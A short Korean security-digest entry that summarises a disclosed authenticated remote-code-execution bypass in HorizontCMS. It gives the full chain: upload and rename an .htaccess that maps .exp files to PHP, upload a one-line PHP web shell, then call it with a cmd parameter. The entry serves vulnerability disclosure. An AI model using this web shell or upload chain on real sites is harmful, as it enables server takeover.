[하루한줄] HorizontCMS 원격 코드 실행 취약점

URL

[BugHunt] Authenticated RCE found in HorizontCMS — Part 2 (PHP Filetype Bypass)

Target

  • HorizontCMS

Explain

오픈소스 컨텐츠 관리 시스템인 HorizontCMS에서 기존 파일 업로드 취약점(CVE-2020–27387) 패치에 대한 우회가 발견되어 세부 정보가 공개되었습니다.

기존 파일 업로드 취약점은 .php, .php5, .php7, .phtml, .inc 와 같은 확장명이 포함된 파일 업로드를 제한하는 것으로 패치되었지만 설정 파일인 .htaccess 필터링을 하지 않아 PHP file type을 변경한 우회 공격이 가능합니다.

해당 취약점을 이용해 임의 코드를 실행하는 방법은 다음과 같습니다.

  1. admin 페이지의 Media → Files에서 test2.htaccess 파일을 업로드합니다. 해당 파일의 내용은 아래와 같습니다.
    • AddType application/x-httpd-php .exp
  2. 파일 rename 기능을 이용해 test2.htaccess 파일의 이름을 .htaccess로 변경합니다.
  3. 아래와 같이 임의 코드를 실행할 수 있게 해주는 내용이 포함된 test2.php 파일을 업로드 한 뒤 파일 이름을 test.exp 로 변경합니다.
    • <?php system($_GET['cmd']); ?>
  4. 1, 2에서 업로드한 .htaccess 로 인해 .exp 확장자가 php로 실행됩니다. 따라서 test.exp에 접근해 임의 코드를 실행할 수 있습니다.
http://<HorizontCMS IP>/storage/test.exp?cmd=id

취약점 제보자는 악성 플러그인을 악용한 원격 코드 실행 취약점의 관련 정보 또한 공개하였으며 https://infosecwriteups.com/bughunt-authenticated-rce-found-in-horizontcms-part-1-malicious-plugins-72846f4ab6fe 에서 확인할 수 있습니다.



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.